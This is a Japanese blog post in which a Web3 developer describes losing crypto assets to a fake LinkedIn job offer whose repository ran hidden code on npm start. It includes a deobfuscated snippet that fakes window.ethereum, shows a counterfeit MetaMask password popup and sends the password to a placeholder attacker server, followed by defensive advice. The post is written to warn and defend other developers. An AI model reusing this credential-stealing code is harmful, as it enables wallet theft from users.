Web3開発者をねらったハッキング手口の全て(わたしは全て抜かれました...)
はじめに
本当に悔しいし許せないし、エンジニアとして不甲斐ないです。2025年2月26日に被害にあいましたが、どのように相手と繋がり、どのような手口でハッカーに資産を抜かれたか、コードベースで全てお伝えします。今後同じ被害に遭う方が少しでも減ることがあればこんな嬉しいことはないです。
ハッカーとの出会いからハッキングされるに至ったコード解説、さらに対策案を書いていきます。もし他に良い対策案などあればコメントでご教示ください。
ハッカーとのやりとりの流れ
ハッカーとは Linkedin ブロックチェーンを使ったプロジェクトを手伝ってくれないかという連絡がりそこからやりとりが始まりました。そして移行の大まかな流れは下記のような感じです。
- Linkedinでプロジェクトを手伝ってほしいと言う内容でDMがくる
- Githubリポを見て実装できそうか確認してほしいと言われる
- 自分のGithubアカウントを共有してプライベートリポジトリに招待される
- プロジェクトの概要の確認のために、一度ローカルで立ち上げてUIクローンして立ち上げてみてといわれる
- 言われるがまま、(1)クローン (2)npm install (3)npm run dev -> ここで悪意のあるJavascriptが実行される(後述)
- その後、実際にGoogle Meetでプロジェクトのこと話したいということで、招待を送ってくれと言われる(そもそも招待を送ってこなかったところが怪しい)
- Meetではプロジェクト概要説明のため画面共有しながら先方から共有してきたURLにアクセスしてプロジェクトを確認(ローカルで立ち上げたときのUIと同じ)
- ここで少し怪しいと思い、「なぜそちらで共有しないんだ」と言うと会話が英語でよくわからないまま進んでしまった
- 進めていくと、Connect Walletしなければならないということになったので、それはしないと断った
- クリプトの世界でいきなりメタマスクをコネクトするのはおかしいと、この時は自分はまともなことを言っていた
- 相手はテストネットだから大丈夫だと言う
- 確かにそうかと思い、一度画面共有を解除してConnect Walletボタンを押下してパスワード入力
した - しかし、なかなかコネクトにならない
- 画面共有解除していたのが相手はもどかしい様子で、早く見せてくれという
- そこでおかしいとおもってメタマスクをよく見たらHTMLに組み込まれた偽のものだったことに気づく
- だが時既におそしで、そのブラウザのメタマスク拡張で管理していたものは根こそぎ全て抜かれていました
ハッカーの手口は
まずは、ローカルでnpm run devやnpm startをさせてプロジェクトをローカルで立ち上げさせます。package.jsonのscriptを見てみると下記のコマンドが実行されていました。
どのようなコードが実行されたか追っていきます。ちなみにディレクトリ構造はこんな感じ。
npm start で実行されたもの
npm run startをしたことで実行されたもので特筆したいのは node server/app.js この部分。app.jsでは下記のコードが実行されており、なにやら util.assets 関数の戻り値であるdataをeval(data)している。eval()は文字列をJavaScriptコードとして実行する関数です。
(はい、evalがある時点で怪しさ満点でした。力不足で全然気づかなかった...)
さて、何が実行されたかをutil.assetsを追って確認すると下記のコード。
これはSVGファイルを読み込んでますが、SVGファイルは下記のようになっており難読化されています。
これをAIに解析してもらったところ丁寧に教えてくれました。
// 難読化を解除すると、おおよそこのような処理になります
(function() {
// オリジナルのMetaMaskオブジェクトを保存
const originalEthereum = window.ethereum;
// window.ethereumを偽物に置き換え
window.ethereum = {
request: async function(params) {
if (params.method === 'eth_requestAccounts') {
// 偽のMetaMaskポップアップを表示
const fakePopup = document.createElement('div');
fakePopup.innerHTML = `
<div class="metamask-popup">
<input type="password" placeholder="Password" />
<button>Unlock</button>
</div>
`;
document.body.appendChild(fakePopup);
// パスワード入力を待機
const password = await new Promise(resolve => {
fakePopup.querySelector('button').onclick = () => {
resolve(fakePopup.querySelector('input').value);
};
});
// 盗んだパスワードを攻撃者のサーバーに送信
await fetch('https://攻撃者のサーバー/steal', {
method: 'POST',
body: JSON.stringify({ password })
});
// 本物のMetaMaskの処理を実行
return originalEthereum.request(params);
}
return originalEthereum.request(params);
}
};
})();
とどのつまり、よく実装するときにもつかう window.ethereum これを偽造しています。
既存のフロントエンドコードを見てもwindow.ethereumを立ち上げているようにしか見えないのです。偽造されたwindow.ethereumの中ではAIさん曰く、
「パスワード入力」させて
// パスワード入力を待機
const password = await new Promise(resolve => {
fakePopup.querySelector('button').onclick = () => {
resolve(fakePopup.querySelector('input').value);
};
});
取得したパスワードを攻撃者のサーバーに送信していると。
// 盗んだパスワードを攻撃者のサーバーに送信
await fetch('https://攻撃者のサーバー/steal', {
method: 'POST',
body: JSON.stringify({ password })
});
プロジェクト立ち上げ後に起こったこと
ここで、プロジェクトを立ち上げたことを確認してハッカーはMTGを申し込んできます。それに承諾して送られてきたパブリックなURLにアクセスするよう求められ、アクセスするとローカルで立ち上げたようなUIで立ち上がります。そしてConnect Walletしたときに、偽のwindow.ethereumを実行します。
src/utils/interact.js
ここで立ち上がったのは偽のMetaMaskポップアップ。
後の流れはこうです。
- 私が認証情報を入力
- それが攻撃者のサーバーに送信 (上記の偽のwindow.ethereumのコード)
- 攻撃者は盗んだMetaMaskのパスワードを使用して、ウォレットのシードフレーズにアクセス
- トークンの転送トランザクションに署名
- ウォレット内の資産を攻撃者のアドレスに転送
実際のトランザクション
Ethereum
Polygon
ちょうど最近、一部はカストディウォレットに移していたのが不幸中の幸い。。
対策案
じゃあどうしたら防げたのかというと、Xでいろいろな人からコメントもらったことや自分で考えたことを書きにまとめていきます。
- npm install前にpackage.jsonとその
scriptコマンド、さらにそのコマンドで実行されるソースコードを読み込む - MetaMaskなどのウォレット操作は必ず公式の拡張機能を使用(そこは今回わかっていたけど)
- eval()関数など文字列をJavascriptとして読み込む関数があれば怪しい
- 開発用の専用ブラウザを準備して、資産管理のものとは分ける
- Dockerの使用(ただし今回はフロントエンドコードでの手口で、結局ブラウザで実行されるため、Dockerによる保護はできないと思われる。上記の
interact.js参照のこと)
まとめ
以上が一連の流れと、コードの説明でした。エンジニアとして不甲斐ないですが、私自身ブロックチェーン業界には、「中央集権に依存することがなく、より個人の可能性を広げるものだ」という思想で入ってきているので、ブロックチェーンの汚い使い方は許せないなと。
この記事で少しでも多くの人への喚起にもなれれば幸いです。
Discussion
これって受け取ったgithubのレポジトリをそのままAIに投げて
「悪意のあるコードは含まれているか確認して下さい」的な事をお願いしたら見つけてくれますか?
このような事件の対処法として「怪しい人から受け取ったソースを実行しない」というのは完全に防げますが、
実際は今回のように相手が怪しいかを確実に判断するのは不可能だし、現実的とはちょっと言えないと思うので
そういう時に検知ができたかを知りたいです。
これ、ぶん投げ出てAI見つけてくれます。実際この記事もAIに原因見つけてもらいながらまとめましたので。1回AI挟むのは定石になりそうですね